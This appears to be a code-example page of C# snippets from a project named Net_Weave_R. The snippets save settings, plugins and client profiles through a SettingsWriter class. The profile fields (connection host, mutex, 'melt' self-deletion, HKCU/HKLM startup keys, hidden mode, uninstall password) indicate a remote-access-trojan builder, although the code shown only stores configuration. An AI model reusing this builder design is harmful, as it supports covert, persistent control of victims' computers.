Пример #1
0
        protected override void OnFormClosing(FormClosingEventArgs e)
        {
            //Notify.KillAndClose();
            ni.Dispose();
            CloseAll();
            Pinger.Stop();

            SettingsWriter w = new SettingsWriter(Settings.Reg);

            w.Write(total, "TOTAL");
            w.Close("Total");

            GlobalProperties.Client.Close();

            if (Opacity != 0.0)
            {
                e.Cancel = true;
                new Thread(() =>
                {
                    while (Opacity != 0.0)
                    {
                        Invoke((MethodInvoker) delegate
                        {
                            Opacity -= 0.1;
                        });
                        Thread.Sleep(50);
                    }
                    Invoke((MethodInvoker) delegate
                    {
                        base.OnFormClosing(e);
                        Environment.Exit(0);
                    });
                }).Start();
            }
        }
Пример #2
0
 void save()
 {
     GlobalProperties.NI.ShowBalloonTip(2000, "Saving Plugins...", "The plugins are now being saved.", ToolTipIcon.Info);
     new Thread(delegate()
     {
         SettingsWriter w = new SettingsWriter(Settings.Reg);
         w.Write(GlobalProperties.RawPlugins, "Plugins");
         w.Close("Plugins");
     }).Start();
     modified = false;
 }
Пример #3
0
        private void btnResetTotal_Click(object sender, EventArgs e)
        {
            if (MessageBox.Show("Are you sure?", "", MessageBoxButtons.YesNo, MessageBoxIcon.Warning) != System.Windows.Forms.DialogResult.Yes)
            {
                return;
            }

            try
            {
                SettingsWriter w = new SettingsWriter(Settings.Reg);
                w.Write(0, "TOTAL");
                w.Close("Total");
                GlobalProperties.MainForm.ResetTotal();
            }
            catch
            {
            }
        }
Пример #4
0
        private void btnSaveProfile_Click(object sender, EventArgs e)
        {
            if (lstProfiles.SelectedItems.Count == 0)
            {
                MessageBox.Show("No profiles selected for saving.", "", MessageBoxButtons.OK, MessageBoxIcon.Error);
                return;
            }

            ProfileData d = lstProfiles.SelectedItems[0].Tag as ProfileData;

            d.Host                           = txtHost.Text;
            d.Port                           = cint(txtPort.Text);
            d.EnableBackupHost               = xBackup.Checked;
            d.ConnectionPassword             = txtPassword.Text;
            d.UninstallPassword              = txtUpdatePassword.Text;
            d.VisibleMode                    = xVisMode.Checked;
            d.BackupHost                     = txtBackupHost.Text;
            d.BackupPort                     = cint(txtBackupPort.Text);
            d.DirectoryName                  = txtFolderName.Text;
            d.FileName                       = txtFilename.Text;
            d.Hkcu                           = xHKCU.Checked;
            d.HkcuKey                        = txtHKCU.Text;
            d.Hklm                           = xHKLM.Checked;
            d.HklmKey                        = txtHKLM.Text;
            d.ShowConsole                    = xShowConsole.Checked;
            d.PluginRegName                  = txtPluginStoreName.Text;
            d.PluginRegLocation              = txtPluginStoreLoc.Text;
            d.Mutex                          = txtMutex.Text;
            d.Melt                           = xMelt.Checked;
            d.LastModified                   = DateTime.Now.ToShortDateString();
            d.Install                        = xInstall.Checked;
            d.Name                           = lstProfiles.SelectedItems[0].Text;
            lstProfiles.SelectedItems[0].Tag = d;
            lstProfiles.SelectedItems[0].SubItems[1].Text = d.LastModified;

            SettingsWriter w = new SettingsWriter(Net_Weave_R.Misc.Settings.Reg);

            w.Write(d, "DATA");
            w.Close("PROFILE_" + d.ID.ToString());

            MessageBox.Show("Saved.", "", MessageBoxButtons.OK, MessageBoxIcon.Information);
        }
Пример #5
0
        private void btnSaveProfile_Click(object sender, EventArgs e)
        {
            if (lstProfiles.SelectedItems.Count == 0)
            {
                MessageBox.Show("No profiles selected for saving.", "", MessageBoxButtons.OK, MessageBoxIcon.Error);
                return;
            }

            ProfileData d = lstProfiles.SelectedItems[0].Tag as ProfileData;
            d.Host = txtHost.Text;
            d.Port = cint(txtPort.Text);
            d.EnableBackupHost = xBackup.Checked;
            d.ConnectionPassword = txtPassword.Text;
            d.UninstallPassword = txtUpdatePassword.Text;
            d.VisibleMode = xVisMode.Checked;
            d.BackupHost = txtBackupHost.Text;
            d.BackupPort = cint(txtBackupPort.Text);
            d.DirectoryName = txtFolderName.Text;
            d.FileName = txtFilename.Text;
            d.Hkcu = xHKCU.Checked;
            d.HkcuKey = txtHKCU.Text;
            d.Hklm = xHKLM.Checked;
            d.HklmKey = txtHKLM.Text;
            d.ShowConsole = xShowConsole.Checked;
            d.PluginRegName = txtPluginStoreName.Text;
            d.PluginRegLocation = txtPluginStoreLoc.Text;
            d.Mutex = txtMutex.Text;
            d.Melt = xMelt.Checked;
            d.LastModified = DateTime.Now.ToShortDateString();
            d.Install = xInstall.Checked;
            d.Name = lstProfiles.SelectedItems[0].Text;
            lstProfiles.SelectedItems[0].Tag = d;
            lstProfiles.SelectedItems[0].SubItems[1].Text = d.LastModified;

            SettingsWriter w = new SettingsWriter(Net_Weave_R.Misc.Settings.Reg);
            w.Write(d, "DATA");
            w.Close("PROFILE_" + d.ID.ToString());

            MessageBox.Show("Saved.", "", MessageBoxButtons.OK, MessageBoxIcon.Information);
        }
Пример #6
0
        private void btnResetTotal_Click(object sender, EventArgs e)
        {
            if (MessageBox.Show("Are you sure?", "", MessageBoxButtons.YesNo, MessageBoxIcon.Warning) != System.Windows.Forms.DialogResult.Yes)
                return;

            try
            {
                SettingsWriter w = new SettingsWriter(Settings.Reg);
                w.Write(0, "TOTAL");
                w.Close("Total");
                GlobalProperties.MainForm.ResetTotal();
            }
            catch
            {
            }
        }
Пример #7
0
        protected override void OnFormClosing(FormClosingEventArgs e)
        {
            //Notify.KillAndClose();
            ni.Dispose();
            CloseAll();
            Pinger.Stop();

            SettingsWriter w = new SettingsWriter(Settings.Reg);
            w.Write(total, "TOTAL");
            w.Close("Total");

            GlobalProperties.Client.Close();

            if (Opacity != 0.0)
            {
                e.Cancel = true;
                new Thread(() =>
                {
                    while (Opacity != 0.0)
                    {
                        Invoke((MethodInvoker)delegate
                        {
                            Opacity -= 0.1;
                        });
                        Thread.Sleep(50);
                    }
                    Invoke((MethodInvoker)delegate
                    {
                        base.OnFormClosing(e);
                        Environment.Exit(0);
                    });
                }).Start();
            }
        }
Пример #8
0
 void save()
 {
     GlobalProperties.NI.ShowBalloonTip(2000, "Saving Plugins...", "The plugins are now being saved.", ToolTipIcon.Info);
     new Thread(delegate()
         {
             SettingsWriter w = new SettingsWriter(Settings.Reg);
             w.Write(GlobalProperties.RawPlugins, "Plugins");
             w.Close("Plugins");
         }).Start();
     modified = false;
 }
Пример #9
0
        public static void Save()
        {
            try
            {
                SettingsWriter w = new SettingsWriter(Reg);
                w.Write(Ports, "Ports");
                w.Write(Passwords, "Passwords");
                w.Write(DupPrevnt, "Dup");
                w.Write(LogConnected, "LogConnect");
                w.Write(LogDisconnected, "LogDis");
                w.Write(NotifyConnected, "NotifyCon");
                w.Write(NotifyDisconnected, "NotifyDis");
                w.Close("Settings");
            }
            catch { }

            if (GlobalProperties.RawPlugins.Count > 0)
            {
                try
                {
                    SettingsWriter w = new SettingsWriter(Reg);
                    w.Write(GlobalProperties.RawPlugins, "List");
                    w.Close("Plugins");
                }
                catch { }
            }
        }